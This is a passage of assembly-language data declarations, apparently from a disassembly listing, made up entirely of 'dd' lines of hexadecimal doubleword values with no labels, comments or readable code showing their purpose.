		dd 61618770h, 1FC6FFFAh, 77697688h, 326C31ADh, 4243E70Dh
		dd 3582B220h, 0F043D0A0h, 1808ECF1h, 6D685E46h,	2FC21C50h
		dd 0BF8553A4h, 3A68B762h, 0B22FBC17h, 42415390h, 213C0738h
		dd 5CC20402h, 10A5155Bh, 38E905C3h, 654A0397h, 0DB2D654h
		dd 3912F94h, 8A252BA3h,	21FE3EC9h, 0E9585B0Ch, 8895D24Dh
		dd 0B4A8FE5h, 1429822Ah, 5AD0E28Ch, 0C9F92756h,	0D9E9F517h
		dd 2E51CE08h, 43740461h, 7916F13Dh, 3C9BC414h, 74230219h
		dd 9203122Ah, 1A19C889h, 6E23624Bh, 0A7B49169h,	0F8F2A23h
		dd 4D93C5E9h, 9872A2D5h, 0A01CC292h, 0B7056AB5h, 435A2DEEh
		dd 5B895735h, 0B418C430h, 4812BDADh, 0F3948D14h, 82B08DC1h
		dd 0B868526Bh, 0C28A59C8h, 201159FFh, 5FBD290Fh, 1018B8C8h
		dd 32548D97h, 4CC2001h,	688C641Fh, 5CA8599h, 0CD6C2DEFh
		dd 0C8E7A328h, 18C84CE2h, 887042Fh, 8C565954h, 0AD3A94A2h
		dd 62AD8624h, 0ABAB8FFCh, 97646E17h, 29E6C089h,	0A187E951h
		dd 2057510h, 34F10D75h,	0A39DC228h, 3B36FC11h, 2C46F11Ah
		dd 0DCE23C21h, 0CE111558h, 4C33794Ah, 26AE1A3h,	0D814A33Ah
		dd 3A949F53h, 54225BC8h, 460A108h, 0AB704189h, 5F53DA3Eh
		dd 0D7C86FD0h, 3C4BC414h, 0FDAA8D71h, 4885D7D9h, 81387AA2h
		dd 53287A56h, 58401591h, 1890902h, 0F423DEBh, 0C7A2563Bh
		dd 210F5519h, 2908F11Bh, 0FC449418h, 84164385h,	0EB316E99h
		dd 8EB87C29h, 35281214h, 0A434A710h, 2920108Ch,	0AA2C374Eh
		dd 1180C77Ah, 4328BC12h, 0F0C4E1C9h, 0CA12C72h,	9D211E03h
		dd 155730E2h, 8A8B8DACh, 99BCB663h, 7A708E8h, 0DCA94356h
		dd 0E0AC5651h, 0E07C9C83h, 0C8C73C85h, 0FAFF1E0h, 0AD568610h
		dd 4C602446h, 0CB99E78h, 0BFD23246h, 0B621A72Ah, 175635E2h
		dd 0E4B865B4h, 634B18E8h, 0A05D5E6Bh, 952BA12Fh, 26911CE4h
		dd 0A0BD1934h, 38B008E5h, 0E40096D4h, 0FF4C6962h, 74064933h
		dd 8A6B74C4h, 0E7E4204Dh, 4FE4211Fh, 3CE4F231h,	39C4FF43h
		dd 0E4252F55h, 0FC85CE66h, 5B621C62h, 1071529Bh, 1C70A141h
		dd 3E9F0023h, 50F9A442h, 6BDA018Ah, 3F872289h, 3CCDCAE9h
		dd 9A60DAD4h, 2530905Eh, 8FE6028Ah, 0CB256E93h,	90C5B36h
		dd 0B8794114h, 3CB52B34h, 51520F2Bh, 0C0C4528Bh, 68500104h
		dd 0A2B3C944h, 8F54529Eh, 24CB522Fh, 0EBE248C6h, 5AC77990h
		dd 0CAC090B0h, 8EE0E587h, 14012040h, 0B6B80A75h, 0E54AE984h
		dd 700C413Bh, 90A62660h, 546C3889h, 8098DCF6h, 0D4B5FFE6h
		dd 0FE154C04h, 8733F881h, 0D0E2A17Ah, 1038CE47h, 7D0C6706h
		dd 870F03C0h, 0BE0191ADh, 8524FF81h, 8941D564h,	0CFCA98FEh
		dd 53A0886Ch, 6B9E625Ch, 2BBE7468h, 0F2D27546h,	8CF05F9Ah
		dd 9128AF50h, 3CF2B54Dh, 114EEB16h, 25F22811h, 43257B95h
		dd 287C850Dh, 785257FDh, 4B43ACD2h, 41099BC8h, 1199102h
		dd 0EBB6255Ah, 6E85E816h, 43110292h, 671FD402h,	0E6258150h
		dd 520FD401h, 758BF6Ah,	41071695h, 7A4A9323h, 1A1ACC4Ah
		dd 9CD41D2h, 23031A48h,	6C491875h, 0D4B6C53Bh, 54FC97EBh
		dd 412C8F8h, 60EC2ABEh,	0A202B5C1h, 305FFD81h, 0A23A7537h
		dd 2970E243h, 4E0C5A41h, 2D969D4h, 591A26D7h, 5CCDE573h
		dd 3FB627A8h, 0E027E04Eh, 2C24C568h, 5982455Dh,	3DC63BE0h
		dd 8C6894D4h, 51C9E15Dh, 64A4A132h, 2DA675Dh, 10185075h
		dd 158A1351h, 4436B3ADh, 0FCE8E851h, 2F5364ACh,	512004D4h
		dd 0FADACC68h, 2A517012h, 59D8298Dh, 0EDF6FA8h,	23887652h
		dd 5374E008h, 0C2B9B33h, 8A0811FFh, 277049ACh, 68FFA551h
		dd 52108A33h, 91D459DCh, 0F4A180F8h, 40334E50h,	999CD7Ch
		dd 202B7D4Bh, 0D4894815h, 62444D5Dh, 0FC1D2D4h,	840991ACh
		dd 70BC5922h, 0E69162FAh, 13C9B460h, 340F16FFh,	56121366h
		dd 0D3E0CEDDh, 0D4D0E008h, 282F447h, 9CA267EBh,	7E535C98h
		dd 8907F149h, 0BE8BE44Dh
		dd 0F20257A6h, 0DA0904F5h, 0C4B05874h, 0BD14511Ch, 7504C2ACh
		dd 92D8F111h, 0FF9922E4h, 0CCC4B9E9h, 0F8A5CEEBh, 515CDC62h
		dd 0BED45640h, 2699D7A5h, 0A25A926Ch, 21751680h, 122776B2h
		dd 30C8DB4Eh, 0A609C46Ch, 4AF9484Dh, 94E3029h, 0A530CD5Ah
		dd 69E766A5h, 107E530Dh, 0FAF32012h, 8D105348h,	1E0DA4FFh
		dd 3DF87BEFh, 0AE3A69ACh, 0B3645E84h, 16374C66h, 0D4A369FAh
		dd 0A41874C4h, 3CB0EA94h, 3E42DB9Ch, 0E908106Ah, 0C828B648h
		dd 388EA6B8h, 42978020h, 952BEC58h, 32862CD2h, 81A58D6h
		dd 74B924B7h, 7082E945h, 6375026Dh, 1468C495h, 9852F055h
		dd 6A89A5A1h, 322E198Dh, 3EDE74A2h, 0F30BCA3Ch,	544DD811h
		dd 5BEB5807h, 4340C147h, 257242A1h, 19D571AFh, 0EDB82E8Ah
		dd 4215E5DCh, 0EB30526Fh, 0C85BA616h, 51440D31h, 0F8A0A864h
		dd 0DC50B4CAh, 56498F96h, 0AE16AA25h, 51DA4539h, 365A5FDDh
		dd 0A7CFD239h, 19512288h, 8909231Fh, 0A30A6B75h, 0EBE850E6h
		dd 744259B9h, 31716655h, 75343B10h, 5837624Ah, 109D7BBAh
		dd 993C7FA8h, 760B9019h, 892717A4h, 2EE8C20Ah, 8C8D011h
		dd 68371844h, 0A4100C64h, 5334E026h, 0A98A24CCh, 765A33C4h
		dd 43B79540h, 0F86190A6h, 0F0384F4Ah, 0F09C19A6h, 50CB495Ch
		dd 49D23BDh, 0CB10682Bh, 4CA200E2h, 0D552AD59h,	6A98D9C2h
		dd 0A58F58F5h, 75B3BCCEh, 0E909EB8Ah, 6C8B42ADh, 420573ADh
		dd 587481Eh, 188A44C7h,	62FB2299h, 4811C69h, 32D32DA5h
		dd 0A25A553Eh, 0A4AFF08Bh, 4AA2B64Dh, 8E4F16AEh, 7C83409Ah
		dd 0A13664Ah, 0B692F73Dh, 6F87DA55h, 434F0C8h, 822739F5h
		dd 914489D9h, 84499604h, 815425B2h, 5003C2A1h, 412B4210h
		dd 138918B9h, 959EEEBh,	0CAEC6852h, 92210E1Eh, 7ADB514Bh
		dd 0FD0C8F89h, 512684B0h, 66A7322Ch, 4848F8A0h,	61ACD230h
		dd 0F97B585Dh, 0F8607C7Fh, 74F0B8B5h, 0CDA9B50Ch, 6790F7D2h
		dd 682E7509h, 88A91544h, 9F564AF7h, 72DD6809h, 0E57B9EE9h
		dd 94C2BC09h, 0D6B90h, 8D0F0546h, 6329580h, 0CC401D2h
		dd 0E800C75h, 0E82B1890h, 0FD12928Eh, 1E460427h, 42BA04C8h
		dd 60A6A1DFh, 56C7C1Ah,	86E80D93h, 2A8A1AD9h, 9925DF0Bh
		dd 0DAC1FA6h, 6121557h,	0E1311325h, 25850510h, 225CB6BAh
		dd 106EC86Dh, 2C41B830h, 0A342732Bh, 43124C57h,	304A24D8h
		dd 66402B48h, 0D71289A5h, 6BA6A6CBh, 0F2707972h, 0FE50E049h
		dd 0EA62A637h, 663F9F82h, 3C68D0B6h, 0A849CC48h, 0B54942AEh
		dd 38F18134h, 4A7B1ADAh, 619DE410h, 408C1225h, 990218A8h
		dd 0D63B9BD5h, 250C1821h, 31A9C34h, 453B2D74h, 179EAEA5h
		dd 447B791Dh, 0C885AD2Ah, 1C402710h, 87D901C4h,	0F9937AB9h
		dd 69DDE370h, 25B2D07Fh, 30B9F95Dh, 0A042572Ah,	0CC286850h
		dd 0ED8BC1A7h, 85386F48h, 342FEBD8h, 894322Ah, 4E1CD661h
		dd 0ADBC2131h, 0D19576C7h, 46182028h, 48948414h, 0D8891A8Ah
		dd 719480CFh, 5110C5A5h, 0F8C1DB61h, 5BDE9AEAh,	0E0688592h
		dd 454F2CCBh, 79AF9C86h, 0F43DFDC2h, 74804F4Ah,	2D47A519h
		dd 15FF2422h, 0CD691789h, 5033820Ch, 74010BE8h,	8A16712h
		dd 8659E444h, 1073523Dh, 1AB86BB9h, 0AD47DA12h,	0A7D1F210h
		dd 6208C249h, 0C8BC5BEBh, 5F4A8CA1h, 0D08488C8h, 6885477Dh
		dd 8265915Dh, 0D1FDD6E9h, 5458707Ch, 6C682C8Ch,	2D2F56CAh
		dd 27F81547h, 196B41EFh, 0B40C5C30h, 30EF7994h,	23E7DFh
		dd 7D891079h, 7199070Bh, 0D7AC124Ah, 63315F6Eh,	9F3BB436h
		dd 9A0684FBh, 0CF030831h, 20428AF8h, 0B0458812h, 3EDD841Ch
		dd 7E0104B8h, 23AB681Ch, 0ACF44D37h, 7805D207h,	0B2BD90C5h
		dd 0D6EBA884h, 0E2422EBBh, 3CA4A10Dh, 66A5015Ah, 0A05C318Bh
		dd 5EB03150h, 0D6CEA841h, 0A62323E3h, 75A41421h, 40204275h
		dd 4D7F8A93h, 54C880Ah,	4E91FB8h, 33586C65h, 320C06Bh
		dd 0D288F98Dh, 0C410A7Ch, 207236E9h, 13C69740h,	0AAB81544h
		dd 0A3500F83h, 7B83C44Dh, 23CC45Ch, 0E8E2464Ah,	0C850CFA5h
		dd 1345A034h, 0C9F8EEE8h, 195C2936h, 0D40C1975h, 79C71302h
		dd 0CB3D748Bh, 6837B1A8h, 6219E5E6h, 68544595h,	7F2DC554h
		dd 8D4F53FBh, 43A13EF9h, 5189800Fh, 0D89864CEh,	9269AC4Ah
		dd 1FC004E6h, 44A5B9E1h, 80F34509h, 0D16F67AEh,	48930B42h
		dd 3D0D091h, 0F824BE45h, 0AD50EBBEh, 2C64512Bh,	0D968AC54h
		dd 0BDBB4458h, 23305190h, 2EB1448Ch, 4A703B4Eh,	25E878F4h
		dd 0A6F14293h, 9216CFADh, 0CB9CED1Bh, 0FEE3FAFCh, 9C27A6DCh
		dd 6490EA92h, 3636BF24h, 0F6439560h, 0E19056A6h, 73FB56DCh
		dd 220D16BFh, 0CAD301A2h, 588729C4h, 9E9BA838h,	0BD42654Dh
		dd 9D50486Dh, 0A004D467h, 840F132Fh, 38A93673h,	0E2585164h
		dd 0C774D231h, 78837912h, 8C6B8CC2h, 7C3BB019h,	8732F51h
		dd 0E0128E79h, 372C7611h, 7DB9DC04h, 0B9E83CE9h, 5BA1FE1Eh
		dd 0BF317E02h, 982B198Dh, 2B73F4FBh, 339354FBh,	4AE60486h
		dd 4ADE49DFh, 2E980F68h, 0A670E84h, 82BDF81Ah, 0EAE9C811h
		dd 0C0AB347Ah, 820FE453h, 0A0789945h, 3FE5128Dh, 0DE7561C3h
		dd 0C22B3011h, 6EBDC4Eh, 78ED49D0h, 861BDC83h, 0D737645h
		dd 0F4BB61D8h, 72BC9013h, 4BF8ECC5h, 0CFD41F8Ah, 0E910CA86h
		dd 0FC50892Eh, 502BF08Ah, 831C8549h, 0ABB6352h,	0C4251C8Dh
		dd 0EB1A2B20h, 0B806DB61h, 4EDE0ECh, 12F6A81Ch,	45EB240Ch
		dd 8DB962BAh, 8ACC51F9h, 3C36A70Dh, 8A05F8C0h, 1188FC55h
		dd 9D37DD52h, 273A8FEDh, 81166920h, 72758082h, 0D1104822h
		dd 4EB08AD3h, 301003A6h, 2F35CFCDh, 5CC43028h, 9B2FEB42h
		dd 0C6BE0F17h, 14465D4Bh, 2E443621h, 71D2252Bh,	45432C8h
		dd 230A3731h, 5BD46904h, 7AB00CC6h, 0F0C04402h,	3821CC43h
		dd 0BC41D642h, 0E8D20E2Eh, 251C9712h, 49029F3h,	510FEB27h
		dd 0A477E8B2h, 608467FCh, 0F8CBDC93h, 116D1095h, 986E9D40h
		dd 4C203CB5h, 0EEB2FD40h, 67329AFFh, 1FBAA632h,	0D072E724h
		dd 33BE9792h, 0FFA8A13h, 0F9E957BCh, 2D722EC0h,	75D9F72Eh
		dd 0E074030Fh, 788D12Bh, 75490447h, 0BAC88BFAh,	0F99DCACh
		dd 83CA1010h, 0E90CC0E2h, 0F3067402h, 0D977AB6Eh, 7F164A49h
		dd 0DC35F32h, 1661BB04h, 44570CB9h, 0AE567A20h,	0FA77EFFCh
		dd 0C6F72514h, 5E27A3F1h, 374B26D1h, 0EB6F5083h, 6288A21h
		dd 74276446h, 52927825h, 751A2029h, 1E015CEBh, 42E38351h
		dd 21930D84h, 4B2F3D06h, 18BFF375h, 0CE5E5B10h,	29A2C7F7h
		dd 3B0BC742h, 109F9AD7h, 0A4EE7512h, 336C6C3Bh,	56D1FA5Eh
		dd 17898496h, 0C85B86BAh, 0FA2AF4Fh, 0E9068B13h, 165D9E11h
		dd 13E9C6D3h, 0E84DE85h, 0F68F2CC8h, 0C2F71E02h, 0C11117Dh
		dd 31120846h, 0EB74C675h, 0D97E3818h, 382D0E15h, 885D149Ah
		dd 36A854B6h, 0A0AACCDh, 604107F1h, 0B157F875h,	0A4298555h
		dd 29209D2Eh, 6A17C5B8h, 703BE897h, 128CA9D7h, 4B35BD6h
		dd 0FD19EBF0h, 640DC9D8h, 14D240B2h, 6B604148h,	0F6760B36h
		dd 0A874938Ah, 0ED5DD2C9h, 0F9B6EB89h, 0D985A7DCh, 0BE1574FCh
		dd 5524953h, 0CB2D280Bh, 752BE083h, 0BE4FA613h,	56646B73h
		dd 0D1AF79EDh, 6A13C289h, 4288DE04h, 85B8898Dh,	154DEBECh
		dd 88814745h, 69ED2604h, 0F882425Ch, 0F60AC06Bh, 0D00842ADh
		dd 0C53AAACAh, 949FAED8h, 0A4EB2E82h, 182D92F0h, 0D8F757D4h
		dd 0BD83EBB7h, 884A808Ah
		dd 0FE42F4A7h, 20590425h, 1820827Ah, 42214756h,	9C9688F1h
		dd 0A06821ADh, 105D21CAh, 0F421ABF0h, 65F82829h, 0FF58E88h
		dd 0C039E888h, 4ED4B23Bh, 2819F30Ah, 7120C0F4h,	0A9DC9729h
		dd 0E8836133h, 0F6039930h, 0A825F713h, 152362CEh, 8EEB897Eh
		dd 103EEA2Ah, 9FF4200Fh, 0C3D23E49h, 6EBDAC0h, 5E1B1FD9h
		dd 1006D3Bh, 618DC9Ch, 0CB789FDCh, 0D3C10982h, 1C5607F0h
		dd 0AFE8140Bh, 54DFA601h, 84701218h, 9B5A9D46h,	6FE570D0h
		dd 84703333h, 40730C22h, 535EDEE9h, 25203B95h, 0A110F901h
		dd 20335A1Eh, 0D4124894h, 23E71AA1h, 33F40862h,	1175094Fh
		dd 0D4A5ACD9h, 0F97C2561h, 0F005C7E1h, 3491A46h, 88104D8Ah
		dd 1B5CEC0Dh, 67478D65h, 2C81826Ch, 0A9F0158Bh,	5BAAE313h
		dd 0DF490448h, 1E0D3B0Ah, 0FB0F720Bh, 105111Eh,	0DDEB10FFh
		dd 0D223C68h, 901C3421h, 48A8BE21h, 23404212h, 0F8B2317Eh
		dd 20751033h, 0E8FF0B6Ah, 8346EBBBh, 5297E07Dh,	0F88C81B3h
		dd 5234E81Ch, 49BD33F6h, 37B1073Dh, 9114EB21h, 0B3D3F438h
		dd 2CB95F87h, 82008E4Ah, 0F866E80Dh, 21FE934Fh,	0A5F61110h
		dd 0C8320EBh, 8DC51873h, 0B9243983h, 12FF1F81h,	422BD33h
		dd 80E0EB24h, 5B309854h, 0E0302430h, 3DEDDC1Fh,	0B1D4259Fh
		dd 5D185CDCh, 2F8C50F2h, 0B94F3B80h, 0AED8D692h, 5E568C40h
		dd 6956232Ah, 0DC05066Ch, 420C41C7h, 0B47A81E2h, 0D2F3BD10h
		dd 56F5A527h, 405A36B2h, 7F350FFEh, 3275F8FAh, 0B282D54Bh
		dd 89199461h, 2942D8F1h, 0EA434051h, 0E831D201h, 741F69EBh
		dd 227C8AADh, 0C6020D4Ah, 6CE0314Ch, 0F4E1D6B8h, 0FBC1314h
		dd 0EBA9549Bh, 521F9311h, 91963C45h, 40B96F9Dh,	50E56DDAh
		dd 0A378E800h, 4809189Dh, 5018BF14h, 0A37067E8h, 2807D886h
		dd 0FD1CC969h, 81010343h, 269EC3C1h, 8942422Fh,	1887144Ah
		dd 0E8C16240h, 7F1C2954h, 50FAA324h, 570824A0h,	25312C4Fh
		dd 2419229h, 171E869h, 4F1F0596h, 1435F7D9h, 3E4607F4h
		dd 15A5D038h, 0B50B7A87h, 0A0B0806h, 90F5750Ah,	240A5F12h
		dd 0F01F11C3h, 7E8DEB43h, 261D1FFh, 2848836Bh, 0C683221Eh
		dd 75E03843h, 341C9C4h,	0D318659Dh, 0C1300D66h,	0EBDFE823h
		dd 6B60B16Ch, 0E9C2128Ah, 0C02E803h, 1BFF478Dh,	0C78B28C3h
		dd 64D0A506h, 0B0106E14h, 8710BC39h, 1F398642h,	2CCED9EBh
		dd 0D8D493EBh, 5590DC62h, 0CF919271h, 7C42636Ch, 1E82204h
		dd 4DDF41FEh, 0CF7A24FEh, 2508716Ch, 80B01C6h, 0D0554DEEh
		dd 0BFD36513h, 0EB0A1449h, 91E45F5Ah, 0CF8F49C7h, 25D026A9h
		dd 0B17D3620h, 0CF238B7Dh, 0C3028832h, 92D13672h, 847F511Eh
		dd 2A753AFAh, 198A6BECh, 9F2520E4h, 4A2F8144h, 0E01333ABh
		dd 0E10242C6h, 84773863h, 4595339Dh, 610DA349h,	1321EF09h
		dd 94E5DB78h, 1AECF238h, 52275574h, 53C9477h, 0D239A191h
		dd 13D2E272h, 14290B57h, 902B32EBh, 162F2A84h, 0F9D016D8h
		dd 16756D5Ch, 8A002C9Eh, 1623EDF4h, 6752E04h, 98D09256h
		dd 50459DD6h, 0BC4236CCh, 4897A067h, 7385293Dh,	7DFDB20Bh
		dd 2E7DEC81h, 0CB9BBF75h, 0B434FAE4h, 425EAAF2h, 0AA70E8B3h
		dd 9286DAB2h, 0C64E2E03h, 38686EA3h, 0DD5022D9h, 346FA6C9h
		dd 7502FB40h, 76A0840Fh, 0C03B6681h, 945E82F8h,	33147E23h
		dd 0F8604344h, 0F981CB14h, 7E91D073h, 0E851FFA4h, 4F1BD673h
		dd 5A99F60Eh, 7CC84F56h, 73A952FDh, 3358748h, 0A238562Eh
		dd 61432018h, 81F876FCh, 4494DFAh, 0AFC91FE8h, 4927EABAh
		dd 2551C94Dh, 12165BADh, 0B4960418h, 3C677A9h, 0EBA8882Eh
		dd 0A994A654h, 7D1AFC06h, 75E04286h, 201BF98Ch,	0A96A2314h
		dd 934346BEh, 17CB0634h, 7D6F2B9Fh, 543D512Fh, 0D6A04930h
		dd 0E9811472h, 412D0CA1h, 50018505h, 2BEC7318h,	0C48BC81Bh
		dd 5DE1A21Ah, 0C302398Bh, 167FC350h, 0E8F3BEC0h, 78F0968Fh
		dd 6CF23B80h, 3630238Ch, 5931DD52h, 62A583Ch, 0AE80A68Dh
		dd 0AD7F647Ah, 31C1243Dh, 34BF1064h, 0EBDF05D4h, 2CB6E633h
		dd 82A0610Ch, 0D1A8B691h, 446B8742h, 37CC46BBh,	6F2066F8h
		dd 6A9A02F8h, 0EC9A44BBh, 0F144EC23h, 57A20F12h, 7D1A8074h
		dd 7AE71252h, 75FF2730h, 24428213h, 12D2E20Bh, 7284F070h
		dd 17214D29h, 883E8A33h, 8A20A35Fh, 8A01C283h, 7B0AC541h
		dd 0E905EC04h, 4481B5AEh, 0FC7C8C16h, 0AF52D590h, 0D6F089ACh
		dd 0F90B7A70h, 0A1696CDh, 0D9A494E9h, 0FC5D4CE0h, 964C85B1h
		dd 8811348Ah, 0B460B8CAh, 0D64C6DF6h, 0F8279359h, 0F223D34Eh
		dd 5523A87Eh, 2A2F991Ah, 0E18312D3h, 78CCAB53h,	75F3AA13h
		dd 0F85A39F8h, 0EB1445CAh, 0C744D0ABh, 752D13FAh, 0C394B1Bh
		dd 77B511AEh, 0F48AAEF6h, 752BEB21h, 52405F11h,	697C2CD8h
		dd 0D7B2B64Fh, 157E240Bh, 0E2F64E9Ah, 24CC523Bh, 4F93C802h
		dd 0FF4C30E1h, 2447A438h, 0BF577430h, 261B0AA1h, 932A50A1h
		dd 2C785CF8h, 58A13758h, 1B1F4775h, 0A23C54D3h,	87DDE08h
		dd 413F3975h, 95E730C9h, 0E7782A62h, 1A6A3261h,	2B2561E5h
		dd 889F06DEh, 97118ED4h, 0A5958470h, 0C4951015h, 4A184228h
		dd 0AFFF946Ah, 0B1E80630h, 0A641937Dh, 2D1B12A9h, 2315E558h
		dd 25C02042h, 0F4F04A04h, 0CAD39BFh, 5CE9C44Ch,	5F899230h
		dd 36466F1h, 427C2925h,	52B25FDBh, 591DB161h, 0F60B6C68h
		dd 55318250h, 1574BFB0h, 8780DAA4h, 9484A7AAh, 9437173Fh
		dd 5D5682CAh, 6F38C8Eh,	14721085h, 17E05359h, 935DCA83h
		dd 439F1A7h, 0BC1572F0h, 750A9EA5h, 3950DB1Ch, 77EC2755h
		dd 0AFE8E3DAh, 245EF2F3h, 8EB444Fh, 8E040C44h, 0F6E984D0h
		dd 0BC55F8B9h, 5D8DF5E7h, 8E2B88Bh, 0B615A424h,	0A1834908h
		dd 0E27572EBh, 97044120h, 48306905h, 5E9A0129h,	581389B5h
		dd 81C9A0A1h, 8027A07Dh, 22134377h, 27416902h, 3876F2C8h
		dd 0A6A9E819h, 0DDC2C736h, 3B15690Eh, 1E90FA94h, 85AA9873h
		dd 126B2144h, 1CEE1080h, 41B97F89h, 1DA0044Dh, 0C228AE11h
		dd 0D9F7F425h, 4EB4C05Eh, 16403BFBh, 606C016Ah,	0FFFC38AAh
		dd 0C651CBC6h, 65544542h, 34FA3A69h, 0F2EC57D3h, 0F2E296F0h
		dd 6EC2112Ch, 606AA588h, 1D10CAA7h, 0C0C62F70h,	0B09BFF4Ah
		dd 0B0E41089h, 0F7F002EDh, 38795936h, 62744Ah, 54FE5E31h
		dd 39D97AB4h, 4ADC2A58h, 56542A30h, 10AF43AAh, 31D62ECEh
		dd 1DA732D2h, 4EF0F252h, 0EB2FC90Fh, 0FE530A56h, 25989D6Ah
		dd 0CCBDA868h, 0E93FDC6Bh, 0FE3EB442h, 0EC5BA06Ah, 83C080E2h
		dd 24F2FFC9h, 18A41AEh,	0C458A4Fh, 471482FDh, 0F5740738h
		dd 0C78B8490h, 65ECFC4Fh, 0E1D23043h, 0E3C020CBh, 0D96F267Ah
		dd 4AF7ED73h, 36E5CB1h,	7BFEFDCBh, 0A6F38901h, 0BB30468Ah
		dd 473A3AC9h, 80047799h, 0D1F7C449h, 5BC18B0Ah,	5B415Eh
		dd 8247CDAh, 0A48D6AEBh, 970B28EDh, 578B6ABCh, 0FC4C1F4h
		dd 0BD143B62h, 2364BCEFh, 0EC41A48h, 0D5FF7938h, 0FE0A960Dh
		dd 0FD0A2719h, 0FC0303FDh, 600CC329h, 301A1996h, 64AD40C0h
		dd 47172988h, 0EBEE8463h, 91C4BC05h, 7BDE6968h,	6C119515h
		dd 3461E1CCh, 271310BCh, 122315A6h, 4BC7D733h, 6659CC72h
		dd 0C61C09A4h, 0D2B0247h, 988812B2h, 3E428D08h,	0EED75BFFh
		dd 0E64697Ch, 41A864D1h, 4EC4D84Eh, 0D07A7CE8h,	13C09BA0h
		dd 38420A8Ah, 0D11ED977h, 51D4C984h, 0ED758113h, 2D20D80Bh
		dd 0E3C10DC3h, 0E0125610h
		dd 0A2A6BF0Ah, 0CB6F24FDh, 5F00339h, 0FFF183F9h, 0F3CFAB23h
		dd 4C2D1C6h, 0AC09DA71h, 0A6253660h, 7D351B3h, 0D308F3FFh
		dd 808D3CE6h, 187EC424h, 8BC3EA5Bh, 38FC4202h, 493674D8h
		dd 0DCE1EF38h, 3C4BCF45h, 2211E3E7h, 0DC441527h, 0EBD48806h
		dd 0B25C9668h, 70FEADCEh, 31FD0702h, 623B09FCh,	0B8280430h
		dd 0E13C75E3h, 0D88C3A02h, 26880A2Eh, 12CF61F0h, 1D8A3925h
		dd 411FB1BEh, 2B191902h, 0CF030311h, 0A64E28E9h, 0D2A436B7h
		dd 8B47F084h, 0D1411B90h, 924740E0h, 0BF0188CCh, 231B8C6h
		dd 41E98B42h, 28E0639Bh, 66A821ECh, 868B2B4h, 0CA90D25Ch
		dd 0C19AC988h, 8C7A8596h, 30CB908Ah, 84B9BA5Eh,	965FE8D0h
		dd 0F82E08A9h, 4CD452E5h, 0CF27CB3Ch, 20B93CF8h, 84520AAFh
		dd 0D4154419h, 6096E732h, 70EDD7D0h, 3FAC1D1h, 0E7B00CA6h
		dd 3E21E695h, 4C31E0D3h, 0B4C80A48h, 0A5B82E5Ah, 3F8C10Bh
		dd 0D46D12D0h, 1A2F1C94h, 6CE45956h, 0BBA864FBh, 967A94BFh
		dd 0BAD8B570h, 3218AA4Bh, 0B52B0DB9h, 37DF81B4h, 0C5CA7610h
		dd 0E20BBA43h, 0F9A5C223h, 5A72E616h, 46B23DC5h, 0ADC19099h
		dd 54BE892Dh, 39427310h, 3C656589h, 11885B2Fh, 0C5B409A7h
		dd 7D35A80Eh, 4B2A96B0h, 84378D6h, 0C9264F3Bh, 29B22E53h
		dd 60C5E525h, 692D2C64h, 0CA5AB30Ah, 2C263080h,	1079E0B9h
		dd 2A5B2B0Fh, 972BFC0Bh, 3F62A5E0h, 99AF8AF9h, 54CE5181h
		dd 0EE124D82h, 0C449B54h, 92B7E316h, 234459B1h,	21AB59ADh
		dd 823DF0D4h, 0A4D4428Eh, 0BBB5B0FDh, 0AC6278CDh, 5646562Dh
		dd 4F9E535Dh, 0B53983C8h, 9EC36632h, 85C76CFCh,	1F884790h
		dd 0A881691h, 4FCF7561h, 20839A70h, 0ACF02EFh, 5AA05C03h
		dd 160ECB04h, 0B3A30975h, 1CEB4E01h, 7446168Ah,	0A3BA3373h
		dd 5AE2495Ch, 0E6480C9Bh, 9269CB2Dh, 3F47B60Dh,	49050F4Dh
		dd 0F42F375h, 72E75E5Bh, 7E76E2A7h, 1ED051EBh, 2A97D0C8h
		dd 113FD679h, 54D644EBh, 0D40AEC9h, 2572988h, 0D5E5A710h
		dd 4A403CA5h, 4D82F456h, 0E52104Bh, 7DD1BF09h, 76FE7303h
		dd 0FF840D7h, 15A7882h,	142A94CAh, 328EB5C1h, 7208F960h
		dd 0A501F329h, 389524FFh, 5F2041FDh, 1DBA50C7h,	4E90E83h
		dd 0E0AF0C72h, 30C8187Fh, 0FC415085h, 488D0E8Ch, 11CF903Fh
		dd 6033F1CCh, 9228C0Bh,	0D12316B0h, 0D06DE18Ah,	7F970146h
		dd 0AF027F26h, 0C6B412D9h, 5DA4C702h, 528D2CCCh, 26912C49h
		dd 1EB48376h, 0B2A61061h, 46249190h, 1A474594h,	0C6408C29h
		dd 1C640F2Fh, 0C481409h, 0FC380491h, 0EC89F4C0h, 8E110315h
		dd 8FA389E4h, 0E84511A6h, 5DEC24D2h, 0D2F04522h, 225DF424h
		dd 24D2F845h, 8D0E5DFCh, 0A0255704h, 45F8C8C2h,	0F1523C0Ah
		dd 5C095032h, 52537024h, 9037D29Ah, 0C1C9E92h, 1286FA8Ch
		dd 0EB6A48Ah, 2C300BAAh, 3163748Dh, 0A4397CD0h,	8724809Ch
		dd 0E4FD0D0Ah, 0D0F1FC18h, 0F72484FEh, 809E66D9h, 90A9F0E9h
		dd 2B62F944h, 86FDD810h, 66FED022h, 130819E8h, 0DC09306Ch
		dd 0DD3B9003h, 0B34E59E0h, 0B657424Fh, 2098D11Eh, 0EEE3A4D4h
		dd 7EEF0624h, 2A2C8C65h, 0B528A590h, 0EEAC384Bh, 0AF8422B2h
		dd 0D2BF4690h, 195C8DCCh, 918C0F84h, 9C229409h,	89ACA444h
		dd 2AC712B4h, 741C9168h, 0BA1811C8h, 0A48B1444h, 44BA1048h
		dd 48A48B0Ch, 444BA08h,	989EA48Bh, 0E0332056h, 922E80Dh
		dd 910C7EF8h, 22B8E898h, 0A288A7B6h, 2184AF10h,	0DAB8CA14h
		dd 0F16970EDh, 0E54279D0h, 47B0188Ch, 2A5AF726h, 3B6D86C4h
		dd 87490038h, 0B3F140CBh, 399D86BCh, 0D92AD4E3h, 0B902FA32h
		dd 4B7F519Eh, 9AAD3495h, 2A7A7710h, 7ED0A125h, 0C2EA4214h
		dd 253D3BFDh, 51F10E7Ch, 7FF00CB1h, 0F10F912h, 15F2B785h
		dd 0BBF659Dh, 6DBC0BCh,	7EEBE8ADh, 20DCE42h, 0E9B0E2DFh
		dd 34EB1B15h, 4D885B58h, 6256A494h, 0BAE968DDh,	0ABF440A4h
		dd 0A6AD328h, 0B336E80Bh, 0E910051Eh, 4F1B369Fh, 9805DC12h
		dd 0FCE10C57h, 0A5241CF0h, 2A7F392Ah, 142CDAE8h, 8476EB1Ch
		dd 0DB2D8B1h, 0B93BB17Fh, 79DCBB70h, 14EE529Dh,	7D167440h
